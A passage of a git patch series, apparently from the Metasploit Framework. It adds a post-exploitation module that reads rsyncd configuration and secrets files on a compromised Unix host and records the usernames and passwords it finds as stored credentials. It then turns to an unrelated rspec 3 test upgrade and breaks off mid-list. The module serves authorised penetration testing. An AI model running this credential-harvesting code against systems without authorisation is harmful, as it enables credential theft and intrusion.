From c75e3c8e8442404da8b014756d9ebc1b1c3dfa75 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Fri, 20 Nov 2015 12:57:33 -0800 Subject: [PATCH 001/103] Initial commit of a post module for looting rsync credentials --- lib/rex/parser/ini.rb | 2 +- modules/post/multi/gather/rsyncd_creds.rb | 85 +++++++++++++++++++++++ 2 files changed, 86 insertions(+), 1 deletion(-) create mode 100644 modules/post/multi/gather/rsyncd_creds.rb diff --git a/lib/rex/parser/ini.rb b/lib/rex/parser/ini.rb index 829f10f32b..63ea6d0244 100644 --- a/lib/rex/parser/ini.rb +++ b/lib/rex/parser/ini.rb @@ -54,7 +54,7 @@ class Ini < Hash # def each_group(&block) self.keys.each { |k| - yield + yield k } end diff --git a/modules/post/multi/gather/rsyncd_creds.rb b/modules/post/multi/gather/rsyncd_creds.rb new file mode 100644 index 0000000000..3c8f23165e --- /dev/null +++ b/modules/post/multi/gather/rsyncd_creds.rb @@ -0,0 +1,85 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Post + include Msf::Post::File + include Msf::Post::Unix + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'UNIX Gather RSYNC Credentials', + 'Description' => %q( + Post Module to obtain credentials saved for RSYNC in various locations + ), + 'License' => MSF_LICENSE, + 'Author' => [ 'Jon Hart ' ], + 'Platform' => %w(bsd linux osx unix), + 'SessionTypes' => %w(shell) + ) + ) + + register_options( + [ + OptBool.new('USER_CONFIGS', [true, 'Get passwords from per-user rsyncd.conf', true]) + ] + ) + end + + def dump_rsync_secrets(config_file) + creds_table = Rex::Ui::Text::Table.new( + 'Header' => "RSYNC credentials from #{config_file}", + 'Indent' => 1, + 'Columns' => %w(Username Password Module) + ) + + # read the rsync configuration file, extracting the 'secrets file' + # directive for any rsync modules (shares) within + rsync_config = Rex::Parser::Ini.new(config_file) + # https://github.com/rapid7/metasploit-framework/issues/6265 + rsync_config.each_key do |rmodule| + # XXX: Ini assumes anything on either side of the = is the key and value, + # including spaces, so we need to fix this + module_config = Hash[rsync_config[rmodule].map { |k, v| [ k.strip, v.strip ] }] + next unless (secrets_file = module_config['secrets file']) + read_file(secrets_file).split(/\n/).map do |line| + next if line =~ /^#/ + if /^(?[^:]+):(?.*)$/ =~ line + creds_table << [ user, password, rmodule ] + end + end + end + + return if creds_table.rows.empty? + + print_line("\n" + creds_table.to_s) + + # store all found credentials + path = store_loot( + "rsync.creds", + "text/csv", + session, + creds_table.to_csv, + "rsync_credentials.txt", + "RSYNC credentials") + + vprint_status("RSYNC credentials stored in: #{path}") + end + + def run + # build up a list of rsync configuration files to read, including the + # default location of the daemon config as well as any per-user configuration files + # that may exist (rare) + config_files = Set.new([ '/etc/rsyncd.conf' ]) + config_files |= enum_user_directories.map { |d| ::File.join(d, 'rsyncd.conf') } if datastore['USER_CONFIGS'] + + config_files.map do |config_file| + dump_rsync_secrets(config_file) + end + end +end From a96102c20ad581e0e37cc7e55b20ab018a3084f1 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Fri, 20 Nov 2015 13:19:38 -0800 Subject: [PATCH 002/103] Minor cleanup --- modules/post/multi/gather/rsyncd_creds.rb | 16 +++++----------- 1 file changed, 5 insertions(+), 11 deletions(-) diff --git a/modules/post/multi/gather/rsyncd_creds.rb b/modules/post/multi/gather/rsyncd_creds.rb index 3c8f23165e..0c79ccf14a 100644 --- a/modules/post/multi/gather/rsyncd_creds.rb +++ b/modules/post/multi/gather/rsyncd_creds.rb @@ -34,7 +34,6 @@ class Metasploit3 < Msf::Post def dump_rsync_secrets(config_file) creds_table = Rex::Ui::Text::Table.new( 'Header' => "RSYNC credentials from #{config_file}", - 'Indent' => 1, 'Columns' => %w(Username Password Module) ) @@ -57,18 +56,15 @@ class Metasploit3 < Msf::Post return if creds_table.rows.empty? - print_line("\n" + creds_table.to_s) - - # store all found credentials - path = store_loot( + print_line(creds_table.to_s) + store_loot( "rsync.creds", "text/csv", session, creds_table.to_csv, "rsync_credentials.txt", - "RSYNC credentials") - - vprint_status("RSYNC credentials stored in: #{path}") + "RSYNC credentials from #{config_file}" + ) end def run @@ -78,8 +74,6 @@ class Metasploit3 < Msf::Post config_files = Set.new([ '/etc/rsyncd.conf' ]) config_files |= enum_user_directories.map { |d| ::File.join(d, 'rsyncd.conf') } if datastore['USER_CONFIGS'] - config_files.map do |config_file| - dump_rsync_secrets(config_file) - end + config_files.map { |config_file| dump_rsync_secrets(config_file) } end end From 327853ae07da605e007a8e96402799dbd6c358b0 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Fri, 20 Nov 2015 13:25:30 -0800 Subject: [PATCH 003/103] Remove out of place fix --- lib/rex/parser/ini.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/parser/ini.rb b/lib/rex/parser/ini.rb index 63ea6d0244..829f10f32b 100644 --- a/lib/rex/parser/ini.rb +++ b/lib/rex/parser/ini.rb @@ -54,7 +54,7 @@ class Ini < Hash # def each_group(&block) self.keys.each { |k| - yield k + yield } end From aa962f30a9bd3b10f939d87a022b42a79f39d1f4 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Fri, 20 Nov 2015 13:51:31 -0800 Subject: [PATCH 004/103] Minor style/usability cleanup --- modules/post/multi/gather/rsyncd_creds.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/post/multi/gather/rsyncd_creds.rb b/modules/post/multi/gather/rsyncd_creds.rb index 0c79ccf14a..95220d9f81 100644 --- a/modules/post/multi/gather/rsyncd_creds.rb +++ b/modules/post/multi/gather/rsyncd_creds.rb @@ -26,12 +26,13 @@ class Metasploit3 < Msf::Post register_options( [ - OptBool.new('USER_CONFIGS', [true, 'Get passwords from per-user rsyncd.conf', true]) + OptBool.new('USER_CONFIGS', [true, 'Get passwords from each local user\'s rsyncd.conf', true]) ] ) end def dump_rsync_secrets(config_file) + vprint_status("Attempting to get RSYNC creds from #{config_file}") creds_table = Rex::Ui::Text::Table.new( 'Header' => "RSYNC credentials from #{config_file}", 'Columns' => %w(Username Password Module) @@ -69,11 +70,10 @@ class Metasploit3 < Msf::Post def run # build up a list of rsync configuration files to read, including the - # default location of the daemon config as well as any per-user configuration files - # that may exist (rare) + # default location of the daemon config as well as any per-user + # configuration files that may exist (rare) config_files = Set.new([ '/etc/rsyncd.conf' ]) config_files |= enum_user_directories.map { |d| ::File.join(d, 'rsyncd.conf') } if datastore['USER_CONFIGS'] - config_files.map { |config_file| dump_rsync_secrets(config_file) } end end From 93bb31dfa0aaa737bc5fbb4ffa87bc6040eca134 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sat, 21 Nov 2015 19:50:33 -0800 Subject: [PATCH 005/103] Make path to rsyncd configuration file configurable --- modules/post/multi/gather/rsyncd_creds.rb | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/modules/post/multi/gather/rsyncd_creds.rb b/modules/post/multi/gather/rsyncd_creds.rb index 95220d9f81..cc89536385 100644 --- a/modules/post/multi/gather/rsyncd_creds.rb +++ b/modules/post/multi/gather/rsyncd_creds.rb @@ -29,6 +29,11 @@ class Metasploit3 < Msf::Post OptBool.new('USER_CONFIGS', [true, 'Get passwords from each local user\'s rsyncd.conf', true]) ] ) + register_advanced_options( + [ + OptString.new('RSYNCD_CONFIG', [true, 'Path to rsyncd.conf', '/etc/rsyncd.conf']) + ] + ) end def dump_rsync_secrets(config_file) @@ -72,8 +77,9 @@ class Metasploit3 < Msf::Post # build up a list of rsync configuration files to read, including the # default location of the daemon config as well as any per-user # configuration files that may exist (rare) - config_files = Set.new([ '/etc/rsyncd.conf' ]) - config_files |= enum_user_directories.map { |d| ::File.join(d, 'rsyncd.conf') } if datastore['USER_CONFIGS'] + config_path = datastore['RSYNCD_CONFIG'] + config_files = Set.new([ config_path ]) + config_files |= enum_user_directories.map { |d| ::File.join(d, ::File.basename(config_path)) } if datastore['USER_CONFIGS'] config_files.map { |config_file| dump_rsync_secrets(config_file) } end end From 718e928fe3544f6824c39150808700ec16beb977 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 23 Nov 2015 11:11:03 -0800 Subject: [PATCH 006/103] Control per-user config file --- modules/post/multi/gather/rsyncd_creds.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/post/multi/gather/rsyncd_creds.rb b/modules/post/multi/gather/rsyncd_creds.rb index cc89536385..5e5dab42f5 100644 --- a/modules/post/multi/gather/rsyncd_creds.rb +++ b/modules/post/multi/gather/rsyncd_creds.rb @@ -26,7 +26,8 @@ class Metasploit3 < Msf::Post register_options( [ - OptBool.new('USER_CONFIGS', [true, 'Get passwords from each local user\'s rsyncd.conf', true]) + OptString.new('USER_CONFIG', [false, 'Attempt to passwords from this RSYNC ' \ + 'configuration file relative to each local user\'s home directory. Leave unset to disable.', 'rsyncd.conf']) ] ) register_advanced_options( @@ -36,6 +37,10 @@ class Metasploit3 < Msf::Post ) end + def setup + @user_config = datastore['USER_CONFIG'].blank? ? nil : datastore['USER_CONFIG'] + end + def dump_rsync_secrets(config_file) vprint_status("Attempting to get RSYNC creds from #{config_file}") creds_table = Rex::Ui::Text::Table.new( @@ -79,7 +84,7 @@ class Metasploit3 < Msf::Post # configuration files that may exist (rare) config_path = datastore['RSYNCD_CONFIG'] config_files = Set.new([ config_path ]) - config_files |= enum_user_directories.map { |d| ::File.join(d, ::File.basename(config_path)) } if datastore['USER_CONFIGS'] + config_files |= enum_user_directories.map { |d| ::File.join(d, @user_config) } if @user_config config_files.map { |config_file| dump_rsync_secrets(config_file) } end end From a692a5d36c1287f987aa928cc1017eefe64a3c43 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Wed, 25 Nov 2015 11:23:18 -0800 Subject: [PATCH 007/103] Remove Platform, this should work everywhere; correct grammar --- modules/post/multi/gather/rsyncd_creds.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/post/multi/gather/rsyncd_creds.rb b/modules/post/multi/gather/rsyncd_creds.rb index 5e5dab42f5..3957d37875 100644 --- a/modules/post/multi/gather/rsyncd_creds.rb +++ b/modules/post/multi/gather/rsyncd_creds.rb @@ -19,14 +19,13 @@ class Metasploit3 < Msf::Post ), 'License' => MSF_LICENSE, 'Author' => [ 'Jon Hart ' ], - 'Platform' => %w(bsd linux osx unix), 'SessionTypes' => %w(shell) ) ) register_options( [ - OptString.new('USER_CONFIG', [false, 'Attempt to passwords from this RSYNC ' \ + OptString.new('USER_CONFIG', [false, 'Attempt to get passwords from this RSYNC ' \ 'configuration file relative to each local user\'s home directory. Leave unset to disable.', 'rsyncd.conf']) ] ) From 366b92a79ed5a86ca8ff9c144d0a4f6bc1bf6986 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 1 Dec 2015 15:30:39 -0800 Subject: [PATCH 008/103] Store rsync creds as creds, not loot --- modules/post/multi/gather/rsyncd_creds.rb | 40 ++++++++++++++++++----- 1 file changed, 32 insertions(+), 8 deletions(-) diff --git a/modules/post/multi/gather/rsyncd_creds.rb b/modules/post/multi/gather/rsyncd_creds.rb index 3957d37875..ee0736848e 100644 --- a/modules/post/multi/gather/rsyncd_creds.rb +++ b/modules/post/multi/gather/rsyncd_creds.rb @@ -60,6 +60,7 @@ class Metasploit3 < Msf::Post next if line =~ /^#/ if /^(?[^:]+):(?.*)$/ =~ line creds_table << [ user, password, rmodule ] + report_rsync_cred(user, password, rmodule) end end end @@ -67,14 +68,37 @@ class Metasploit3 < Msf::Post return if creds_table.rows.empty? print_line(creds_table.to_s) - store_loot( - "rsync.creds", - "text/csv", - session, - creds_table.to_csv, - "rsync_credentials.txt", - "RSYNC credentials from #{config_file}" - ) + end + + def report_rsync_cred(user, password, rmodule) + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: refname, + username: user, + private_data: password, + private_type: :password, + realm_value: rmodule, + # XXX: add to MDM? + #realm_key: Metasploit::Model::Realm::Key::RSYNC_MODULE, + workspace_id: myworkspace_id + } + credential_core = create_credential(credential_data) + + login_data = { + address: session.session_host, + # TODO: rsync is 99.9% of the time on 873/TCP, but can be configured differently with the + # 'port' directive in the global part of the rsyncd configuration file. + # Unfortunately, Rex::Parser::Ini does not support parsing this just yet + port: 873, + protocol: "tcp", + service_name: "rsync", + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED, + workspace_id: myworkspace_id + } + create_credential_login(login_data) end def run From d38ed931a5b9b8bcb090e764c9591afa624d9205 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Fri, 16 Oct 2015 15:53:17 -0500 Subject: [PATCH 009/103] Update to rspec 3.3 in Gemfile MSP-13484 --- Gemfile | 4 +--- Gemfile.lock | 41 +++++++++++++++++++---------------------- 2 files changed, 20 insertions(+), 25 deletions(-) diff --git a/Gemfile b/Gemfile index 1f4033d229..d767b06c50 100755 --- a/Gemfile +++ b/Gemfile @@ -27,11 +27,9 @@ group :development, :test do gem 'fivemat', '1.2.1' # running documentation generation tasks and rspec tasks gem 'rake', '>= 10.0.0' - # testing framework - gem 'rspec', '>= 2.12', '< 3.0.0' # Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the # environment is development - gem 'rspec-rails' , '>= 2.12', '< 3.0.0' + gem 'rspec-rails' , '~> 3.3' end group :test do diff --git a/Gemfile.lock b/Gemfile.lock index e6ddf58246..fa02a74647 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -183,25 +183,23 @@ GEM redcarpet (3.2.3) rkelly-remix (0.0.6) robots (0.10.1) - rspec (2.99.0) - rspec-core (~> 2.99.0) - rspec-expectations (~> 2.99.0) - rspec-mocks (~> 2.99.0) - rspec-collection_matchers (1.1.2) - rspec-expectations (>= 2.99.0.beta1) - rspec-core (2.99.2) - rspec-expectations (2.99.2) - diff-lcs (>= 1.1.3, < 2.0) - rspec-mocks (2.99.3) - rspec-rails (2.99.0) - actionpack (>= 3.0) - activemodel (>= 3.0) - activesupport (>= 3.0) - railties (>= 3.0) - rspec-collection_matchers - rspec-core (~> 2.99.0) - rspec-expectations (~> 2.99.0) - rspec-mocks (~> 2.99.0) + rspec-core (3.3.2) + rspec-support (~> 3.3.0) + rspec-expectations (3.3.1) + diff-lcs (>= 1.2.0, < 2.0) + rspec-support (~> 3.3.0) + rspec-mocks (3.3.2) + diff-lcs (>= 1.2.0, < 2.0) + rspec-support (~> 3.3.0) + rspec-rails (3.3.3) + actionpack (>= 3.0, < 4.3) + activesupport (>= 3.0, < 4.3) + railties (>= 3.0, < 4.3) + rspec-core (~> 3.3.0) + rspec-expectations (~> 3.3.0) + rspec-mocks (~> 3.3.0) + rspec-support (~> 3.3.0) + rspec-support (3.3.0) rubyntlm (0.5.2) rubyzip (1.1.7) shoulda-matchers (2.8.0) @@ -226,7 +224,7 @@ GEM thread_safe (0.3.5) tilt (1.4.1) timecop (0.7.3) - tzinfo (0.3.44) + tzinfo (0.3.45) xpath (2.0.0) nokogiri (~> 1.3) yard (0.8.7.6) @@ -243,8 +241,7 @@ DEPENDENCIES pry rake (>= 10.0.0) redcarpet - rspec (>= 2.12, < 3.0.0) - rspec-rails (>= 2.12, < 3.0.0) + rspec-rails (~> 3.3) shoulda-matchers simplecov timecop From ed1e984b6af283227f1812cc01ccca73ad5299f7 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Fri, 16 Oct 2015 15:55:53 -0500 Subject: [PATCH 010/103] Update spec_helper with all rspec 3 features MSP-13484 Copied from metasploit-cache. --- spec/spec_helper.rb | 65 ++++++++++++++++++++++++++++++++++----------- 1 file changed, 50 insertions(+), 15 deletions(-) diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb index c3d5e1f3ad..d29e9fd1ac 100644 --- a/spec/spec_helper.rb +++ b/spec/spec_helper.rb @@ -14,13 +14,7 @@ require 'active_record/railtie' require File.expand_path('../../config/environment', __FILE__) # Don't `require 'rspec/rails'` as it includes support for pieces of rails that metasploit-framework doesn't use -require 'rspec/core' -require 'rails/version' -require 'rspec/rails/adapters' -require 'rspec/rails/extensions' -require 'rspec/rails/fixture_support' -require 'rspec/rails/matchers' -require 'rspec/rails/mocks' +require 'rspec/rails' require 'metasploit/framework/spec' @@ -42,22 +36,63 @@ engines.each do |engine| end RSpec.configure do |config| - config.mock_with :rspec do |mocks| - mocks.yield_receiver_to_any_instance_implementation_blocks = true + config.raise_errors_for_deprecations! + + config.expose_dsl_globally = false + + # These two settings work together to allow you to limit a spec run + # to individual examples or groups you care about by tagging them with + # `:focus` metadata. When nothing is tagged with `:focus`, all examples + # get run. + config.filter_run :focus + config.run_all_when_everything_filtered = true + + # allow more verbose output when running an individual spec file. + if config.files_to_run.one? + # RSpec filters the backtrace by default so as not to be so noisy. + # This causes the full backtrace to be printed when running a single + # spec file (e.g. to troubleshoot a particular spec failure). + config.full_backtrace = true end + # Print the 10 slowest examples and example groups at the + # end of the spec run, to help surface which specs are running + # particularly slow. + config.profile_examples = 10 + # Run specs in random order to surface order dependencies. If you find an # order dependency and want to debug it, you can fix the order by providing # the seed, which is printed after each run. # --seed 1234 - config.order = 'random' + config.order = :random - config.treat_symbols_as_metadata_keys_with_true_values = true - - # If you're not using ActiveRecord, or you'd prefer not to run each of your - # examples within a transaction, remove the following line or assign false - # instead of true. config.use_transactional_fixtures = true + + # Seed global randomization in this process using the `--seed` CLI option. + # Setting this allows you to use `--seed` to deterministically reproduce + # test failures related to randomization by passing the same `--seed` value + # as the one that triggered the failure. + Kernel.srand config.seed + + config.expect_with :rspec do |expectations| + # Enable only the newer, non-monkey-patching expect syntax. + expectations.syntax = :expect + end + + # rspec-mocks config goes here. You can use an alternate test double + # library (such as bogus or mocha) by changing the `mock_with` option here. + config.mock_with :rspec do |mocks| + # Enable only the newer, non-monkey-patching expect syntax. + # For more details, see: + # - http://teaisaweso.me/blog/2013/05/27/rspecs-new-message-expectation-syntax/ + mocks.syntax = :expect + + mocks.patch_marshal_to_support_partial_doubles = false + + # Prevents you from mocking or stubbing a method that does not exist on + # a real object. + mocks.verify_partial_doubles = true + end end Metasploit::Framework::Spec::Constants::Suite.configure! From d6bf0fd781a6c7eec6490527f61d7c66e1f6b6e6 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Fri, 16 Oct 2015 15:57:04 -0500 Subject: [PATCH 011/103] decribe -> RSpec.describe MSP-13484 Disabled expose_dsl_globally in spec_helper, so need to qualify top-level describe. --- .../abstract_adapter/connection_pool_spec.rb | 2 +- spec/lib/metasploit/framework/credential_collection_spec.rb | 2 +- spec/lib/metasploit/framework/credential_spec.rb | 2 +- spec/lib/metasploit/framework/jtr/cracker_spec.rb | 2 +- spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb | 2 +- spec/lib/metasploit/framework/jtr/wordlist_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/afp_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/axis2_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/base_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/buffalo_spec.rb | 2 +- .../metasploit/framework/login_scanner/chef_webui_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/db2_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/ftp_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/gitlab_spec.rb | 2 +- .../metasploit/framework/login_scanner/glassfish_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/http_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/invalid_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/ipboard_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/jenkins_spec.rb | 2 +- .../login_scanner/manageengine_desktop_central_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/mssql_spec.rb | 2 +- .../metasploit/framework/login_scanner/mybook_live_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/mysql_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/nessus_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/pop3_spec.rb | 2 +- .../lib/metasploit/framework/login_scanner/postgres_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/result_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/smb_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/smh_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/snmp_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/ssh_spec.rb | 2 +- .../framework/login_scanner/symantec_web_gateway_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/telnet_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/tomcat_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/vmauthd_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/vnc_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/winrm_spec.rb | 2 +- .../framework/login_scanner/wordpress_rpc_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/zabbix_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner_spec.rb | 2 +- spec/lib/msf/base/sessions/meterpreter_spec.rb | 2 +- spec/lib/msf/base/simple/framework_spec.rb | 2 +- spec/lib/msf/core/author_spec.rb | 2 +- spec/lib/msf/core/auxiliary/drdos_spec.rb | 2 +- spec/lib/msf/core/auxiliary/kademlia_spec.rb | 2 +- spec/lib/msf/core/data_store_spec.rb | 2 +- spec/lib/msf/core/encoded_payload_spec.rb | 2 +- spec/lib/msf/core/exe/segment_appender_spec.rb | 2 +- spec/lib/msf/core/exe/segment_injector_spec.rb | 2 +- spec/lib/msf/core/exploit/browser_autopwn2_spec.rb | 2 +- spec/lib/msf/core/exploit/capture_spec.rb | 2 +- spec/lib/msf/core/exploit/cmdstager_spec.rb | 2 +- spec/lib/msf/core/exploit/http/client_spec.rb | 2 +- spec/lib/msf/core/exploit/http/jboss/base_spec.rb | 2 +- .../msf/core/exploit/http/jboss/bean_shell_scripts_spec.rb | 2 +- spec/lib/msf/core/exploit/http/jboss/bean_shell_spec.rb | 2 +- .../http/jboss/deployment_file_repository_scripts_spec.rb | 2 +- .../exploit/http/jboss/deployment_file_repository_spec.rb | 3 +-- spec/lib/msf/core/exploit/http/server_spec.rb | 2 +- spec/lib/msf/core/exploit/http/typo3_spec.rb | 2 +- spec/lib/msf/core/exploit/http/wordpress/base_spec.rb | 2 +- spec/lib/msf/core/exploit/http/wordpress/login_spec.rb | 2 +- spec/lib/msf/core/exploit/http/wordpress/version_spec.rb | 2 +- .../lib/msf/core/exploit/kerberos/client/as_request_spec.rb | 2 +- .../msf/core/exploit/kerberos/client/as_response_spec.rb | 2 +- spec/lib/msf/core/exploit/kerberos/client/base_spec.rb | 2 +- .../core/exploit/kerberos/client/cache_credential_spec.rb | 2 +- spec/lib/msf/core/exploit/kerberos/client/pac_spec.rb | 2 +- .../msf/core/exploit/kerberos/client/tgs_request_spec.rb | 2 +- .../msf/core/exploit/kerberos/client/tgs_response_spec.rb | 2 +- spec/lib/msf/core/exploit/powershell_spec.rb | 2 +- .../msf/core/exploit/remote/browser_exploit_server_spec.rb | 2 +- .../msf/core/exploit/remote/browser_profile_manager_spec.rb | 2 +- .../msf/core/exploit/remote/firefox_addon_generator_spec.rb | 2 +- .../exploit/remote/firefox_privilege_escalation_spec.rb | 2 +- spec/lib/msf/core/exploit/remote/java/rmi/builder_spec.rb | 2 +- .../remote/java/rmi/client/jmx/connection/builder_spec.rb | 2 +- .../exploit/remote/java/rmi/client/jmx/connection_spec.rb | 2 +- .../remote/java/rmi/client/jmx/server/builder_spec.rb | 2 +- .../remote/java/rmi/client/jmx/server/parser_spec.rb | 2 +- .../core/exploit/remote/java/rmi/client/jmx/server_spec.rb | 2 +- .../exploit/remote/java/rmi/client/registry/builder_spec.rb | 2 +- .../exploit/remote/java/rmi/client/registry/parser_spec.rb | 2 +- .../core/exploit/remote/java/rmi/client/registry_spec.rb | 2 +- spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb | 2 +- spec/lib/msf/core/exploit/remote/java/rmi/util_spec.rb | 2 +- .../msf/core/exploit/smb/server/share/command/close_spec.rb | 2 +- .../core/exploit/smb/server/share/command/negotiate_spec.rb | 2 +- .../exploit/smb/server/share/command/nt_create_andx_spec.rb | 2 +- .../core/exploit/smb/server/share/command/read_andx_spec.rb | 2 +- .../smb/server/share/command/session_setup_andx_spec.rb | 2 +- .../smb/server/share/command/trans2/find_first2_spec.rb | 2 +- .../share/command/trans2/query_file_information_spec.rb | 2 +- .../share/command/trans2/query_path_information_spec.rb | 2 +- .../core/exploit/smb/server/share/command/trans2_spec.rb | 2 +- .../exploit/smb/server/share/information_level/find_spec.rb | 2 +- .../smb/server/share/information_level/query_spec.rb | 2 +- spec/lib/msf/core/framework_spec.rb | 2 +- spec/lib/msf/core/module/failure_spec.rb | 2 +- spec/lib/msf/core/module_manager_spec.rb | 2 +- spec/lib/msf/core/module_spec.rb | 2 +- spec/lib/msf/core/modules/error_spec.rb | 2 +- spec/lib/msf/core/modules/loader/base_spec.rb | 2 +- spec/lib/msf/core/modules/loader/directory_spec.rb | 2 +- .../modules/metasploit_class_compatibility_error_spec.rb | 2 +- spec/lib/msf/core/modules/namespace_spec.rb | 2 +- .../msf/core/modules/version_compatibility_error_spec.rb | 2 +- spec/lib/msf/core/opt_address_range_spec.rb | 2 +- spec/lib/msf/core/opt_address_spec.rb | 2 +- spec/lib/msf/core/opt_bool_spec.rb | 2 +- spec/lib/msf/core/opt_enum_spec.rb | 2 +- spec/lib/msf/core/opt_int_spec.rb | 2 +- spec/lib/msf/core/opt_path_spec.rb | 2 +- spec/lib/msf/core/opt_port_spec.rb | 2 +- spec/lib/msf/core/opt_raw_spec.rb | 2 +- spec/lib/msf/core/opt_regexp_spec.rb | 2 +- spec/lib/msf/core/opt_spec.rb | 2 +- spec/lib/msf/core/option_container_spec.rb | 2 +- spec/lib/msf/core/payload_generator_spec.rb | 2 +- spec/lib/msf/core/platform_spec.rb | 2 +- spec/lib/msf/core/post/android/priv_spec.rb | 2 +- spec/lib/msf/core/post/android/system_spec.rb | 2 +- spec/lib/msf/core/post/linux/busy_box_spec.rb | 2 +- spec/lib/msf/core/post/windows/mssql_spec.rb | 2 +- spec/lib/msf/core/post/windows/priv_spec.rb | 2 +- spec/lib/msf/core/post/windows/runas_spec.rb | 2 +- spec/lib/msf/core/reference_spec.rb | 2 +- spec/lib/msf/core/rpc/v10/rpc_core_spec.rb | 2 +- spec/lib/msf/core/site_reference_spec.rb | 2 +- spec/lib/msf/core/target_spec.rb | 2 +- spec/lib/msf/db_manager/export_spec.rb | 2 +- spec/lib/msf/db_manager_spec.rb | 2 +- .../lib/msf/ui/console/command_dispatcher/auxiliary_spec.rb | 2 +- spec/lib/msf/ui/console/command_dispatcher/core_spec.rb | 2 +- spec/lib/msf/ui/console/command_dispatcher/db_spec.rb | 2 +- spec/lib/msf/ui/console/command_dispatcher/exploit_spec.rb | 2 +- spec/lib/net/dns/rr/classes_spec.rb | 2 +- spec/lib/net/dns/rr/types_spec.rb | 2 +- spec/lib/rex/arch/sparc_spec.rb | 2 +- spec/lib/rex/arch/x86_spec.rb | 2 +- spec/lib/rex/arch/zarch_spec.rb | 2 +- spec/lib/rex/arch_spec.rb | 2 +- spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb | 2 +- spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb | 2 +- spec/lib/rex/encoder/alpha2/generic_spec.rb | 2 +- spec/lib/rex/encoder/alpha2/unicode_mixed_spec.rb | 2 +- spec/lib/rex/encoder/alpha2/unicode_upper_spec.rb | 2 +- spec/lib/rex/encoder/ndr_spec.rb | 2 +- spec/lib/rex/encoder/nonalpha_spec.rb | 2 +- spec/lib/rex/encoder/xdr_spec.rb | 2 +- spec/lib/rex/encoding/xor/byte_spec.rb | 2 +- spec/lib/rex/encoding/xor/dword_spec.rb | 2 +- spec/lib/rex/encoding/xor/qword_spec.rb | 2 +- spec/lib/rex/encoding/xor/word_spec.rb | 2 +- spec/lib/rex/exploitation/cmdstager/base_spec.rb | 2 +- spec/lib/rex/exploitation/cmdstager/bourne_spec.rb | 2 +- spec/lib/rex/exploitation/cmdstager/certutil_spec.rb | 2 +- spec/lib/rex/exploitation/cmdstager/debug_asm_spec.rb | 2 +- spec/lib/rex/exploitation/cmdstager/debug_write_spec.rb | 2 +- spec/lib/rex/exploitation/cmdstager/echo_spec.rb | 2 +- spec/lib/rex/exploitation/cmdstager/printf_spec.rb | 2 +- spec/lib/rex/exploitation/cmdstager/tftp_spec.rb | 2 +- spec/lib/rex/exploitation/cmdstager/vbs_spec.rb | 2 +- spec/lib/rex/exploitation/encryptjs_spec.rb | 2 +- spec/lib/rex/exploitation/heaplib_spec.rb | 2 +- spec/lib/rex/exploitation/js/detect_spec.rb | 2 +- spec/lib/rex/exploitation/js/memory_spec.rb | 2 +- spec/lib/rex/exploitation/js/network_spec.rb | 2 +- spec/lib/rex/exploitation/js/utils_spec.rb | 2 +- spec/lib/rex/exploitation/jsobfu_spec.rb | 2 +- spec/lib/rex/exploitation/ropdb_spec.rb | 2 +- spec/lib/rex/file_utils_spec.rb | 2 +- spec/lib/rex/image_source/disk_spec.rb | 2 +- spec/lib/rex/image_source/memory_spec.rb | 2 +- spec/lib/rex/java/serialization/builder_spec.rb | 2 +- spec/lib/rex/java/serialization/model/annotation_spec.rb | 2 +- .../rex/java/serialization/model/block_data_long_spec.rb | 2 +- 